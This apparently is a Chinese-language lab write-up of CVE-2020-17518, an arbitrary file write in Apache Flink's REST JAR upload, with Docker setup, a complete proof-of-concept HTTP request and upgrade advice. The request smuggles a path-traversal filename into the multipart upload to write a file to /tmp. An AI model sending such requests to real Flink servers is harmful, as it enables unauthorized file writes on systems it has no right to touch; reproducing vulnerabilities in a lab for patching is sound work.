1.漏洞描述

       Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

2.影响版本

1.5.1-1.11.2

3.环境搭建

1)漏洞环境在docker中搭建,进入vulhub/flink/CVE-2020-17518目录

docker-compose up-d

2)访问http://192.168.210.227:8081,环境搭建成功,如下图所示

4.漏洞复现

构造数据包POC

POST /jars/upload HTTP/1.1
Host: 192.168.210.227:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 189

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

 

虽然返回400,但是success文件依然写入成功

5.修复建议

升级Flink 到1.11.3或1.12.0版本,下载链接为:

https://flink.apache.org/downloads.html

https://flink.apache.org/downloads.html

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐